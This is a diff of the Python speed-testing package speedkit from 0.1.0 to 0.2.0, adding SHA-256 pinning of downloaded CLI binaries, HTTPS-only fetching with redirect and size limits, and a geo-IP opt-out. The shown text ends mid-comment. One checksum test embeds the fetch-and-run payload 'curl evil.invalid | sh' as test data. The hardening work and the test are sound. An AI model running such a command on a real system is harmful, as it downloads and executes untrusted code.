speedkit 0.1.0__tar.gz → 0.2.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (30) hide show
  1. {speedkit-0.1.0/speedkit.egg-info → speedkit-0.2.0}/PKG-INFO +15 -2
  2. {speedkit-0.1.0 → speedkit-0.2.0}/README.md +14 -1
  3. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/__meta__.py +1 -1
  4. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/binaries.py +48 -23
  5. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/cli.py +11 -1
  6. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/client.py +9 -2
  7. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/geoip.py +5 -14
  8. speedkit-0.2.0/speedkit/utils.py +80 -0
  9. {speedkit-0.1.0 → speedkit-0.2.0/speedkit.egg-info}/PKG-INFO +15 -2
  10. speedkit-0.2.0/tests/test_binaries.py +87 -0
  11. {speedkit-0.1.0 → speedkit-0.2.0}/tests/test_client.py +7 -0
  12. {speedkit-0.1.0 → speedkit-0.2.0}/tests/test_geoip.py +3 -19
  13. speedkit-0.2.0/tests/test_utils.py +66 -0
  14. speedkit-0.1.0/speedkit/utils.py +0 -33
  15. speedkit-0.1.0/tests/test_binaries.py +0 -34
  16. speedkit-0.1.0/tests/test_utils.py +0 -16
  17. {speedkit-0.1.0 → speedkit-0.2.0}/LICENSE +0 -0
  18. {speedkit-0.1.0 → speedkit-0.2.0}/pyproject.toml +0 -0
  19. {speedkit-0.1.0 → speedkit-0.2.0}/setup.cfg +0 -0
  20. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/__init__.py +0 -0
  21. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/exceptions.py +0 -0
  22. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/providers.py +0 -0
  23. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/py.typed +0 -0
  24. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/types.py +0 -0
  25. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit.egg-info/SOURCES.txt +0 -0
  26. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit.egg-info/dependency_links.txt +0 -0
  27. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit.egg-info/entry_points.txt +0 -0
  28. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit.egg-info/requires.txt +0 -0
  29. {speedkit-0.1.0 → speedkit-0.2.0}/speedkit.egg-info/top_level.txt +0 -0
  30. {speedkit-0.1.0 → speedkit-0.2.0}/tests/test_providers.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: speedkit
3
- Version: 0.1.0
3
+ Version: 0.2.0
4
4
  Summary: Python SDK for network speed testing — bandwidth, latency, and connection details in a single call.
5
5
  Author: nessshon
6
6
  Maintainer: nessshon
@@ -78,6 +78,7 @@ speedkit # auto: Ookla, then LibreSpeed
78
78
  speedkit -p librespeed # pin one provider
79
79
  speedkit -t 180 # time budget per provider in seconds
80
80
  speedkit -a 1 # disable retries
81
+ speedkit --no-geoip # no third-party geo-IP request
81
82
  ```
82
83
 
83
84
  `Speedkit()` needs no configuration; everything it accepts:
@@ -87,6 +88,7 @@ kit = Speedkit(
87
88
  provider="auto", # "auto" | "ookla" | "librespeed" — a pinned provider never falls back
88
89
  timeout=120, # time budget per provider in seconds, covering all attempts
89
90
  attempts=2, # measurement attempts within the budget; 1 disables retries
91
+ lookup_geoip=True, # resolve client info from a geo-IP service; False makes no such request
90
92
  cache_dir=None, # where CLI binaries are cached; None = user cache directory
91
93
  )
92
94
  ```
@@ -128,7 +130,7 @@ kit = Speedkit(
128
130
 
129
131
  ## Geo-IP lookup
130
132
 
131
- Client details come from the first service that answers: `ipinfo.io` → `ipwho.is` → `ip-api.com`.
133
+ Client details come from the first service that answers: `ipinfo.io` → `ipwho.is`.
132
134
 
133
135
  - The lookup takes a fraction of a second.
134
136
  - If every service is unreachable, the measurement is still returned —
@@ -136,6 +138,11 @@ Client details come from the first service that answers: `ipinfo.io` → `ipwho.
136
138
 
137
139
  > This sends your IP address to the geo-IP service that answers.
138
140
 
141
+ Pass `lookup_geoip=False` (or `--no-geoip`) to skip it entirely. Nothing is then sent to a third
142
+ party, and `client` keeps what the measuring CLI itself reported — `ip` and `isp` from
143
+ Ookla, plus `country` from LibreSpeed. Fields neither reports, `city` above all, stay at
144
+ `""`, so `client` is no longer identical across providers.
145
+
139
146
  ## Binaries
140
147
 
141
148
  | Provider | Version | Platforms |
@@ -148,8 +155,14 @@ Binaries are downloaded on first use and cached per platform:
148
155
  - Linux — `~/.cache/speedkit`
149
156
  - macOS — `~/Library/Caches/speedkit`
150
157
 
158
+ Every archive is checked against a SHA-256 digest pinned in `speedkit/binaries.py` before
159
+ anything is extracted or made executable. A release asset that changed after it was pinned
160
+ raises `BinaryDownloadError` instead of running. All network access is HTTPS with certificate
161
+ verification; plain HTTP, and any redirect leaving TLS, is refused.
162
+
151
163
  Set `SPEEDKIT_OOKLA_BINARY` / `SPEEDKIT_LIBRESPEED_BINARY` to a path of a preinstalled
152
164
  binary to skip downloading entirely — useful for offline machines and locked-down networks.
165
+ The path is executed as given and bypasses the checksum, so it is on you to trust it.
153
166
 
154
167
  To pre-download the binaries at image build time (Docker, CI):
155
168
 
@@ -45,6 +45,7 @@ speedkit # auto: Ookla, then LibreSpeed
45
45
  speedkit -p librespeed # pin one provider
46
46
  speedkit -t 180 # time budget per provider in seconds
47
47
  speedkit -a 1 # disable retries
48
+ speedkit --no-geoip # no third-party geo-IP request
48
49
  ```
49
50
 
50
51
  `Speedkit()` needs no configuration; everything it accepts:
@@ -54,6 +55,7 @@ kit = Speedkit(
54
55
  provider="auto", # "auto" | "ookla" | "librespeed" — a pinned provider never falls back
55
56
  timeout=120, # time budget per provider in seconds, covering all attempts
56
57
  attempts=2, # measurement attempts within the budget; 1 disables retries
58
+ lookup_geoip=True, # resolve client info from a geo-IP service; False makes no such request
57
59
  cache_dir=None, # where CLI binaries are cached; None = user cache directory
58
60
  )
59
61
  ```
@@ -95,7 +97,7 @@ kit = Speedkit(
95
97
 
96
98
  ## Geo-IP lookup
97
99
 
98
- Client details come from the first service that answers: `ipinfo.io` → `ipwho.is` → `ip-api.com`.
100
+ Client details come from the first service that answers: `ipinfo.io` → `ipwho.is`.
99
101
 
100
102
  - The lookup takes a fraction of a second.
101
103
  - If every service is unreachable, the measurement is still returned —
@@ -103,6 +105,11 @@ Client details come from the first service that answers: `ipinfo.io` → `ipwho.
103
105
 
104
106
  > This sends your IP address to the geo-IP service that answers.
105
107
 
108
+ Pass `lookup_geoip=False` (or `--no-geoip`) to skip it entirely. Nothing is then sent to a third
109
+ party, and `client` keeps what the measuring CLI itself reported — `ip` and `isp` from
110
+ Ookla, plus `country` from LibreSpeed. Fields neither reports, `city` above all, stay at
111
+ `""`, so `client` is no longer identical across providers.
112
+
106
113
  ## Binaries
107
114
 
108
115
  | Provider | Version | Platforms |
@@ -115,8 +122,14 @@ Binaries are downloaded on first use and cached per platform:
115
122
  - Linux — `~/.cache/speedkit`
116
123
  - macOS — `~/Library/Caches/speedkit`
117
124
 
125
+ Every archive is checked against a SHA-256 digest pinned in `speedkit/binaries.py` before
126
+ anything is extracted or made executable. A release asset that changed after it was pinned
127
+ raises `BinaryDownloadError` instead of running. All network access is HTTPS with certificate
128
+ verification; plain HTTP, and any redirect leaving TLS, is refused.
129
+
118
130
  Set `SPEEDKIT_OOKLA_BINARY` / `SPEEDKIT_LIBRESPEED_BINARY` to a path of a preinstalled
119
131
  binary to skip downloading entirely — useful for offline machines and locked-down networks.
132
+ The path is executed as given and bypasses the checksum, so it is on you to trust it.
120
133
 
121
134
  To pre-download the binaries at image build time (Docker, CI):
122
135
 
@@ -3,6 +3,6 @@
3
3
  # This source code is licensed under the MIT License found in the
4
4
  # LICENSE file in the root directory of this source tree.
5
5
 
6
- __version__ = "0.1.0"
6
+ __version__ = "0.2.0"
7
7
  __author__ = "nessshon"
8
8
  __url__ = "https://github.com/nessshon/speedkit"
@@ -1,5 +1,6 @@
1
1
  from __future__ import annotations
2
2
 
3
+ import hashlib
3
4
  import io
4
5
  import os
5
6
  import platform
@@ -32,17 +33,17 @@ _LIBRESPEED_URL: t.Final[str] = (
32
33
  "https://github.com/librespeed/speedtest-cli/releases/download/v{version}/librespeed-cli_{version}_{platform}.{ext}"
33
34
  )
34
35
 
35
- _OOKLA_PLATFORMS: t.Final[dict[tuple[str, str], str]] = {
36
- ("Linux", "x86_64"): "linux-x86_64",
37
- ("Linux", "aarch64"): "linux-aarch64",
38
- ("Darwin", "x86_64"): "macosx-universal",
39
- ("Darwin", "arm64"): "macosx-universal",
36
+ _OOKLA_PLATFORMS: t.Final[dict[tuple[str, str], tuple[str, str]]] = {
37
+ ("Linux", "x86_64"): ("linux-x86_64", "5690596c54ff9bed63fa3732f818a05dbc2db19ad36ed68f21ca5f64d5cfeeb7"),
38
+ ("Linux", "aarch64"): ("linux-aarch64", "3953d231da3783e2bf8904b6dd72767c5c6e533e163d3742fd0437affa431bd3"),
39
+ ("Darwin", "x86_64"): ("macosx-universal", "c9f8192149ebc88f8699998cecab1ce144144045907ece6f53cf50877f4de66f"),
40
+ ("Darwin", "arm64"): ("macosx-universal", "c9f8192149ebc88f8699998cecab1ce144144045907ece6f53cf50877f4de66f"),
40
41
  }
41
- _LIBRESPEED_PLATFORMS: t.Final[dict[tuple[str, str], str]] = {
42
- ("Linux", "x86_64"): "linux_amd64",
43
- ("Linux", "aarch64"): "linux_arm64",
44
- ("Darwin", "x86_64"): "darwin_amd64",
45
- ("Darwin", "arm64"): "darwin_arm64",
42
+ _LIBRESPEED_PLATFORMS: t.Final[dict[tuple[str, str], tuple[str, str]]] = {
43
+ ("Linux", "x86_64"): ("linux_amd64", "33f2278a6ae16e83dc80f38a16aa8689b0b315530ce30ccb6de7968a2bf7527a"),
44
+ ("Linux", "aarch64"): ("linux_arm64", "3f59e01ea03626168a0ff3d6f3371a38c054267ee500a5f9a644d3fe28ceed69"),
45
+ ("Darwin", "x86_64"): ("darwin_amd64", "35195cf197b17d3e2a0b06aff65b6e48aaffd4c1a10ca3b1d01d8ee3a14d0dea"),
46
+ ("Darwin", "arm64"): ("darwin_arm64", "aaae750be9b51045417f42147f86228e871af3924b6c6ae95323d7ebc82a0b88"),
46
47
  }
47
48
 
48
49
 
@@ -59,9 +60,9 @@ def ookla_binary(cache_dir: Path | None = None) -> Path:
59
60
  override = os.environ.get("SPEEDKIT_OOKLA_BINARY")
60
61
  if override:
61
62
  return Path(override)
62
- key = _platform_key(_OOKLA_PLATFORMS, brand="Ookla Speedtest CLI")
63
+ key, digest = _asset(_OOKLA_PLATFORMS, brand="Ookla Speedtest CLI")
63
64
  url = _OOKLA_URL.format(version=OOKLA_VERSION, platform=key, ext="tgz")
64
- return _ensure(url, member="speedtest", subdir=f"ookla-{OOKLA_VERSION}", cache_dir=cache_dir)
65
+ return _ensure(url, digest=digest, member="speedtest", subdir=f"ookla-{OOKLA_VERSION}", cache_dir=cache_dir)
65
66
 
66
67
 
67
68
  def librespeed_binary(cache_dir: Path | None = None) -> Path:
@@ -77,30 +78,39 @@ def librespeed_binary(cache_dir: Path | None = None) -> Path:
77
78
  override = os.environ.get("SPEEDKIT_LIBRESPEED_BINARY")
78
79
  if override:
79
80
  return Path(override)
80
- key = _platform_key(_LIBRESPEED_PLATFORMS, brand="librespeed-cli")
81
+ key, digest = _asset(_LIBRESPEED_PLATFORMS, brand="librespeed-cli")
81
82
  url = _LIBRESPEED_URL.format(version=LIBRESPEED_VERSION, platform=key, ext="tar.gz")
82
- return _ensure(url, member="librespeed-cli", subdir=f"librespeed-{LIBRESPEED_VERSION}", cache_dir=cache_dir)
83
+ return _ensure(
84
+ url,
85
+ digest=digest,
86
+ member="librespeed-cli",
87
+ subdir=f"librespeed-{LIBRESPEED_VERSION}",
88
+ cache_dir=cache_dir,
89
+ )
83
90
 
84
91
 
85
- def _platform_key(platforms: dict[tuple[str, str], str], *, brand: str) -> str:
86
- """Map the current OS and architecture to a release asset key."""
92
+ def _asset(platforms: dict[tuple[str, str], tuple[str, str]], *, brand: str) -> tuple[str, str]:
93
+ """Map the current OS and architecture to a release asset key and its pinned digest."""
87
94
  system, machine = platform.system(), platform.machine()
88
- key = platforms.get((system, machine))
89
- if key is None:
95
+ asset = platforms.get((system, machine))
96
+ if asset is None:
90
97
  raise UnsupportedPlatformError(
91
98
  f"no prebuilt {brand} binary for {system}/{machine}",
92
99
  hint="install it manually and set the SPEEDKIT_OOKLA_BINARY / SPEEDKIT_LIBRESPEED_BINARY variable",
93
100
  )
94
- return key
101
+ return asset
95
102
 
96
103
 
97
- def _ensure(url: str, *, member: str, subdir: str, cache_dir: Path | None) -> Path:
104
+ def _ensure(url: str, *, digest: str, member: str, subdir: str, cache_dir: Path | None) -> Path:
98
105
  """Return the cached binary path, downloading and extracting it if missing."""
99
- target = (cache_dir or _user_cache_dir()) / subdir / member
106
+ # Path carries the pin, so a binary verified against a different digest is never reused.
107
+ target = (cache_dir or _user_cache_dir()) / f"{subdir}-{digest[:12]}" / member
100
108
  if target.exists():
101
109
  return target
102
110
  target.parent.mkdir(parents=True, exist_ok=True)
103
- data = _extract(_download(url), url=url, member=member)
111
+ archive = _download(url)
112
+ _verify(archive, url=url, expected=digest)
113
+ data = _extract(archive, url=url, member=member)
104
114
  # PID-unique temp name: concurrent downloads must not write into one file.
105
115
  temporary = target.with_name(f"{member}.{os.getpid()}.tmp")
106
116
  temporary.write_bytes(data)
@@ -121,8 +131,23 @@ def _download(url: str) -> bytes:
121
131
  ) from exc
122
132
 
123
133
 
134
+ def _verify(data: bytes, *, url: str, expected: str) -> None:
135
+ """Check a downloaded archive against the digest pinned for this platform."""
136
+ digest = hashlib.sha256(data).hexdigest()
137
+ if digest != expected:
138
+ raise BinaryDownloadError(
139
+ f"refusing {url}: expected sha256 {expected}, got {digest}",
140
+ hint="the release archive no longer matches the digest speedkit pinned; upgrade speedkit "
141
+ "or point SPEEDKIT_OOKLA_BINARY / SPEEDKIT_LIBRESPEED_BINARY at a binary you trust",
142
+ )
143
+
144
+
124
145
  def _extract(data: bytes, *, url: str, member: str) -> bytes:
125
- """Extract a single member from a ``.tgz``/``.tar.gz`` archive."""
146
+ """Extract a single member from a ``.tgz``/``.tar.gz`` archive.
147
+
148
+ Reads the member whole without a size cap, which is safe only because the archive
149
+ is checksum-verified first: a decompression bomb cannot match a pinned digest.
150
+ """
126
151
  try:
127
152
  with tarfile.open(fileobj=io.BytesIO(data), mode="r:gz") as bundle:
128
153
  extracted = bundle.extractfile(member)
@@ -38,9 +38,19 @@ def main() -> None:
38
38
  default=DEFAULT_ATTEMPTS,
39
39
  help="maximum measurement attempts per provider (default: %(default)s)",
40
40
  )
41
+ parser.add_argument(
42
+ "--no-geoip",
43
+ action="store_true",
44
+ help="skip the geo-IP lookup; client info then comes from the measuring CLI",
45
+ )
41
46
  args = parser.parse_args()
42
47
  try:
43
- kit = Speedkit(args.provider, timeout=args.timeout, attempts=args.attempts)
48
+ kit = Speedkit(
49
+ args.provider,
50
+ timeout=args.timeout,
51
+ attempts=args.attempts,
52
+ lookup_geoip=not args.no_geoip,
53
+ )
44
54
  except ValueError as exc:
45
55
  parser.error(str(exc))
46
56
  try:
@@ -33,6 +33,7 @@ class Speedkit:
33
33
  *,
34
34
  timeout: float = DEFAULT_TIMEOUT,
35
35
  attempts: int = DEFAULT_ATTEMPTS,
36
+ lookup_geoip: bool = True,
36
37
  cache_dir: Path | None = None,
37
38
  ) -> None:
38
39
  """Initialize the client.
@@ -43,6 +44,10 @@ class Speedkit:
43
44
  all measurement attempts.
44
45
  :param attempts: Maximum measurement attempts per provider within the budget;
45
46
  ``1`` disables retries.
47
+ :param lookup_geoip: Resolve client info from a geo-IP service so it reads the
48
+ same whichever provider measured. ``False`` makes no third-party request and
49
+ keeps whatever the measuring CLI reported, which varies by provider and
50
+ leaves the fields it omits at their neutral defaults.
46
51
  :param cache_dir: Directory for cached CLI binaries; defaults to the user cache directory.
47
52
  :raises ValueError: If ``provider`` is unknown or ``attempts`` is less than 1.
48
53
  """
@@ -53,18 +58,20 @@ class Speedkit:
53
58
  self.provider = provider
54
59
  self.timeout = timeout
55
60
  self.attempts = attempts
61
+ self.lookup_geoip = lookup_geoip
56
62
  self.cache_dir = cache_dir
57
63
 
58
64
  def run(self) -> SpeedtestResult:
59
65
  """Run the speed test.
60
66
 
61
67
  :return: Measurement result, with client info from a geo-IP service when
62
- one is reachable and from the measuring CLI otherwise.
68
+ ``lookup_geoip`` is enabled and one is reachable, and from the measuring
69
+ CLI otherwise.
63
70
  :raises SpeedkitError: If the measurement fails — in ``"auto"`` mode,
64
71
  after both providers have failed.
65
72
  """
66
73
  result = self._measure()
67
- client = lookup()
74
+ client = lookup() if self.lookup_geoip else None
68
75
  return replace(result, client=client) if client else result
69
76
 
70
77
  def _measure(self) -> SpeedtestResult:
@@ -12,6 +12,9 @@ __all__ = ["lookup"]
12
12
  GEOIP_TIMEOUT: t.Final[float] = 5.0
13
13
  """Timeout in seconds for a single geo-IP service request."""
14
14
 
15
+ GEOIP_MAX_BYTES: t.Final[int] = 64 * 1024
16
+ """Cap on a geo-IP response body; a real answer is well under a kilobyte."""
17
+
15
18
  # ipinfo.io reports the ISP as "AS64496 Example ISP"; the other services omit the prefix.
16
19
  _AS_PREFIX = re.compile(r"^AS\d+\s+")
17
20
 
@@ -27,9 +30,9 @@ def lookup(timeout: float = GEOIP_TIMEOUT) -> Client | None:
27
30
  """
28
31
  for url, parse in _SERVICES:
29
32
  try:
30
- data = json.loads(fetch(url, timeout=timeout))
33
+ data = json.loads(fetch(url, timeout=timeout, limit=GEOIP_MAX_BYTES))
31
34
  client = parse(data) if isinstance(data, dict) else None
32
- except (AttributeError, OSError, TypeError, ValueError):
35
+ except (AttributeError, OSError, RecursionError, TypeError, ValueError):
33
36
  continue
34
37
  # Services echo the IP back even in error payloads, so require the ISP too.
35
38
  if client and client.ip and client.isp:
@@ -57,19 +60,7 @@ def _from_ipwho(data: dict[str, t.Any]) -> Client:
57
60
  )
58
61
 
59
62
 
60
- def _from_ipapi(data: dict[str, t.Any]) -> Client:
61
- """Map an ip-api.com response."""
62
- return Client(
63
- ip=data.get("query", ""),
64
- isp=data.get("isp", ""),
65
- country=data.get("countryCode", ""),
66
- city=data.get("city", ""),
67
- )
68
-
69
-
70
- # Ordered by preference: HTTPS without a key first, plain-HTTP ip-api.com last.
71
63
  _SERVICES: t.Final[tuple[tuple[str, t.Callable[[dict[str, t.Any]], Client]], ...]] = (
72
64
  ("https://ipinfo.io/json", _from_ipinfo),
73
65
  ("https://ipwho.is", _from_ipwho),
74
- ("http://ip-api.com/json", _from_ipapi),
75
66
  )
@@ -0,0 +1,80 @@
1
+ from __future__ import annotations
2
+
3
+ import functools
4
+ import http.client
5
+ import ssl
6
+ import typing as t
7
+ import urllib.error
8
+ import urllib.parse
9
+ import urllib.request
10
+
11
+ __all__ = ["fetch"]
12
+
13
+ MAX_RESPONSE_BYTES: t.Final[int] = 32 * 1024 * 1024
14
+ """Default cap on a response body; the largest CLI release archive is under 4 MiB."""
15
+
16
+
17
+ def fetch(url: str, timeout: float, limit: int = MAX_RESPONSE_BYTES) -> bytes:
18
+ """Fetch a URL over verified TLS and return the raw response body.
19
+
20
+ Plain HTTP is refused outright, as is a redirect that would leave TLS, and the
21
+ body is capped so an endpoint cannot exhaust memory by streaming without end.
22
+
23
+ :param url: URL to fetch; must be ``https``.
24
+ :param timeout: Timeout in seconds.
25
+ :param limit: Maximum number of body bytes to accept.
26
+ :return: Raw response body.
27
+ :raises OSError: If the URL is not ``https``, the request fails, or the body exceeds ``limit``.
28
+ """
29
+ if urllib.parse.urlsplit(url).scheme != "https":
30
+ raise OSError(f"refusing to fetch {url}: only https is allowed")
31
+ try:
32
+ with _opener().open(url, timeout=timeout) as response:
33
+ # One byte past the cap distinguishes "at the limit" from "over it".
34
+ data: bytes = response.read(limit + 1)
35
+ except http.client.HTTPException as exc:
36
+ # Truncated bodies and bad status lines are not OSError; normalize for callers.
37
+ raise OSError(str(exc)) from exc
38
+ if len(data) > limit:
39
+ raise OSError(f"response from {url} exceeds {limit} bytes")
40
+ return data
41
+
42
+
43
+ class _NoDowngradeRedirects(urllib.request.HTTPRedirectHandler):
44
+ """Redirect handler that refuses to drop from ``https`` to plain ``http``.
45
+
46
+ urllib follows a redirect into any of ``http``, ``https`` and ``ftp``, so without
47
+ this an origin could hand back a cleartext URL and the body would be read from it.
48
+ """
49
+
50
+ def redirect_request(
51
+ self,
52
+ req: urllib.request.Request,
53
+ fp: t.IO[bytes],
54
+ code: int,
55
+ msg: str,
56
+ headers: http.client.HTTPMessage,
57
+ newurl: str,
58
+ ) -> urllib.request.Request | None:
59
+ """Reject a redirect that leaves TLS, otherwise defer to the default policy."""
60
+ if urllib.parse.urlsplit(newurl).scheme != "https":
61
+ raise urllib.error.URLError(f"refusing redirect from {req.full_url} to insecure {newurl}")
62
+ return super().redirect_request(req, fp, code, msg, headers, newurl)
63
+
64
+
65
+ @functools.lru_cache(maxsize=1)
66
+ def _opener() -> urllib.request.OpenerDirector:
67
+ """Return the shared opener; built once so the CA bundle is loaded once."""
68
+ return urllib.request.build_opener(
69
+ urllib.request.HTTPSHandler(context=_ssl_context()),
70
+ _NoDowngradeRedirects(),
71
+ )
72
+
73
+
74
+ def _ssl_context() -> ssl.SSLContext:
75
+ """Return an SSL context, preferring certifi's CA bundle when installed."""
76
+ try:
77
+ import certifi
78
+ except ImportError:
79
+ return ssl.create_default_context()
80
+ return ssl.create_default_context(cafile=certifi.where())
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: speedkit
3
- Version: 0.1.0
3
+ Version: 0.2.0
4
4
  Summary: Python SDK for network speed testing — bandwidth, latency, and connection details in a single call.
5
5
  Author: nessshon
6
6
  Maintainer: nessshon
@@ -78,6 +78,7 @@ speedkit # auto: Ookla, then LibreSpeed
78
78
  speedkit -p librespeed # pin one provider
79
79
  speedkit -t 180 # time budget per provider in seconds
80
80
  speedkit -a 1 # disable retries
81
+ speedkit --no-geoip # no third-party geo-IP request
81
82
  ```
82
83
 
83
84
  `Speedkit()` needs no configuration; everything it accepts:
@@ -87,6 +88,7 @@ kit = Speedkit(
87
88
  provider="auto", # "auto" | "ookla" | "librespeed" — a pinned provider never falls back
88
89
  timeout=120, # time budget per provider in seconds, covering all attempts
89
90
  attempts=2, # measurement attempts within the budget; 1 disables retries
91
+ lookup_geoip=True, # resolve client info from a geo-IP service; False makes no such request
90
92
  cache_dir=None, # where CLI binaries are cached; None = user cache directory
91
93
  )
92
94
  ```
@@ -128,7 +130,7 @@ kit = Speedkit(
128
130
 
129
131
  ## Geo-IP lookup
130
132
 
131
- Client details come from the first service that answers: `ipinfo.io` → `ipwho.is` → `ip-api.com`.
133
+ Client details come from the first service that answers: `ipinfo.io` → `ipwho.is`.
132
134
 
133
135
  - The lookup takes a fraction of a second.
134
136
  - If every service is unreachable, the measurement is still returned —
@@ -136,6 +138,11 @@ Client details come from the first service that answers: `ipinfo.io` → `ipwho.
136
138
 
137
139
  > This sends your IP address to the geo-IP service that answers.
138
140
 
141
+ Pass `lookup_geoip=False` (or `--no-geoip`) to skip it entirely. Nothing is then sent to a third
142
+ party, and `client` keeps what the measuring CLI itself reported — `ip` and `isp` from
143
+ Ookla, plus `country` from LibreSpeed. Fields neither reports, `city` above all, stay at
144
+ `""`, so `client` is no longer identical across providers.
145
+
139
146
  ## Binaries
140
147
 
141
148
  | Provider | Version | Platforms |
@@ -148,8 +155,14 @@ Binaries are downloaded on first use and cached per platform:
148
155
  - Linux — `~/.cache/speedkit`
149
156
  - macOS — `~/Library/Caches/speedkit`
150
157
 
158
+ Every archive is checked against a SHA-256 digest pinned in `speedkit/binaries.py` before
159
+ anything is extracted or made executable. A release asset that changed after it was pinned
160
+ raises `BinaryDownloadError` instead of running. All network access is HTTPS with certificate
161
+ verification; plain HTTP, and any redirect leaving TLS, is refused.
162
+
151
163
  Set `SPEEDKIT_OOKLA_BINARY` / `SPEEDKIT_LIBRESPEED_BINARY` to a path of a preinstalled
152
164
  binary to skip downloading entirely — useful for offline machines and locked-down networks.
165
+ The path is executed as given and bypasses the checksum, so it is on you to trust it.
153
166
 
154
167
  To pre-download the binaries at image build time (Docker, CI):
155
168
 
@@ -0,0 +1,87 @@
1
+ import hashlib
2
+ import io
3
+ import os
4
+ import tarfile
5
+ import tempfile
6
+ import unittest
7
+ from pathlib import Path
8
+ from unittest import mock
9
+
10
+ from speedkit import binaries
11
+ from speedkit.exceptions import BinaryDownloadError, UnsupportedPlatformError
12
+
13
+ BINARY = b"#!/bin/sh\necho measured\n"
14
+
15
+
16
+ def archive(member="speedtest", payload=BINARY):
17
+ """Return a ``.tar.gz`` holding a single member."""
18
+ buffer = io.BytesIO()
19
+ with tarfile.open(fileobj=buffer, mode="w:gz") as bundle:
20
+ info = tarfile.TarInfo(member)
21
+ info.size = len(payload)
22
+ bundle.addfile(info, io.BytesIO(payload))
23
+ return buffer.getvalue()
24
+
25
+
26
+ class TestBinaryResolution(unittest.TestCase):
27
+ def test_env_override(self):
28
+ with mock.patch.dict(os.environ, {"SPEEDKIT_OOKLA_BINARY": "/opt/bin/speedtest"}):
29
+ self.assertEqual(binaries.ookla_binary(), Path("/opt/bin/speedtest"))
30
+ with mock.patch.dict(os.environ, {"SPEEDKIT_LIBRESPEED_BINARY": "/opt/bin/librespeed-cli"}):
31
+ self.assertEqual(binaries.librespeed_binary(), Path("/opt/bin/librespeed-cli"))
32
+
33
+ def test_unsupported_platform_raises(self):
34
+ with mock.patch.dict(os.environ, {}, clear=True):
35
+ with mock.patch("platform.system", return_value="Linux"):
36
+ with mock.patch("platform.machine", return_value="riscv64"):
37
+ with self.assertRaises(UnsupportedPlatformError):
38
+ binaries.ookla_binary()
39
+
40
+
41
+ class TestChecksumVerification(unittest.TestCase):
42
+ def test_matching_archive_is_installed_and_executable(self):
43
+ data = archive()
44
+ with tempfile.TemporaryDirectory() as tmp:
45
+ path = self._install(Path(tmp), data, hashlib.sha256(data).hexdigest())
46
+ self.assertEqual(path.read_bytes(), BINARY)
47
+ self.assertTrue(path.stat().st_mode & 0o111)
48
+
49
+ def test_tampered_archive_never_reaches_disk(self):
50
+ # The whole point of pinning: bytes that do not match are not extracted,
51
+ # not written and never made executable.
52
+ with tempfile.TemporaryDirectory() as tmp:
53
+ with self.assertRaises(BinaryDownloadError):
54
+ self._install(Path(tmp), archive(payload=b"curl evil.invalid | sh"), "00" * 32)
55
+ self.assertEqual(list(Path(tmp).rglob("speedtest*")), [])
56
+
57
+ def test_cached_binary_is_reused(self):
58
+ # Garbage on the second call would fail verification if it were downloaded
59
+ # again, so getting the same path back proves the cache was used.
60
+ data = archive()
61
+ digest = hashlib.sha256(data).hexdigest()
62
+ with tempfile.TemporaryDirectory() as tmp:
63
+ first = self._install(Path(tmp), data, digest)
64
+ self.assertEqual(self._install(Path(tmp), b"never fetched", digest), first)
65
+
66
+ def test_cache_written_before_pinning_is_not_reused(self):
67
+ # 0.1.x cached under a digest-less path, so that binary was never verified
68
+ # against anything; upgrading must re-download rather than trust it.
69
+ data = archive()
70
+ with tempfile.TemporaryDirectory() as tmp:
71
+ stale = Path(tmp) / f"ookla-{binaries.OOKLA_VERSION}" / "speedtest"
72
+ stale.parent.mkdir(parents=True)
73
+ stale.write_bytes(b"unverified leftover")
74
+ path = self._install(Path(tmp), data, hashlib.sha256(data).hexdigest())
75
+ self.assertNotEqual(path, stale)
76
+ self.assertEqual(path.read_bytes(), BINARY)
77
+
78
+ @staticmethod
79
+ def _install(cache, data, digest):
80
+ """Resolve the macOS Ookla binary from ``data``, pinned to ``digest``."""
81
+ pinned = {("Darwin", "arm64"): ("macosx-universal", digest)}
82
+ with mock.patch.dict(os.environ, {}, clear=True):
83
+ with mock.patch("platform.system", return_value="Darwin"):
84
+ with mock.patch("platform.machine", return_value="arm64"):
85
+ with mock.patch.dict(binaries._OOKLA_PLATFORMS, pinned):
86
+ with mock.patch("speedkit.binaries.fetch", return_value=data):
87
+ return binaries.ookla_binary(cache)
@@ -80,3 +80,10 @@ class TestGeoipEnrichment(unittest.TestCase):
80
80
  with mock.patch("speedkit.client.lookup", return_value=None):
81
81
  result = Speedkit().run()
82
82
  self.assertEqual(result.client, RESULT.client)
83
+
84
+ def test_disabled_geoip_makes_no_request_and_keeps_measured_client(self):
85
+ with mock.patch.object(OoklaProvider, "run", return_value=RESULT):
86
+ with mock.patch("speedkit.client.lookup") as lookup:
87
+ result = Speedkit(lookup_geoip=False).run()
88
+ lookup.assert_not_called()
89
+ self.assertEqual(result.client, RESULT.client)
@@ -24,17 +24,6 @@ IPWHO = json.dumps(
24
24
  }
25
25
  ).encode()
26
26
 
27
- IPAPI = json.dumps(
28
- {
29
- "status": "success",
30
- "country": "Netherlands",
31
- "countryCode": "NL",
32
- "city": "Amsterdam",
33
- "isp": "Last Resort ISP",
34
- "query": "192.0.2.3",
35
- }
36
- ).encode()
37
-
38
27
 
39
28
  class TestLookup(unittest.TestCase):
40
29
  def test_first_service_wins(self):
@@ -55,7 +44,8 @@ class TestLookup(unittest.TestCase):
55
44
 
56
45
  def test_malformed_payloads_degrade_to_next_service(self):
57
46
  # A service may answer with a rate-limit notice, an error payload that still
58
- # echoes the IP, a null field, or something that is not an object at all.
47
+ # echoes the IP, a null field, something that is not an object at all, or
48
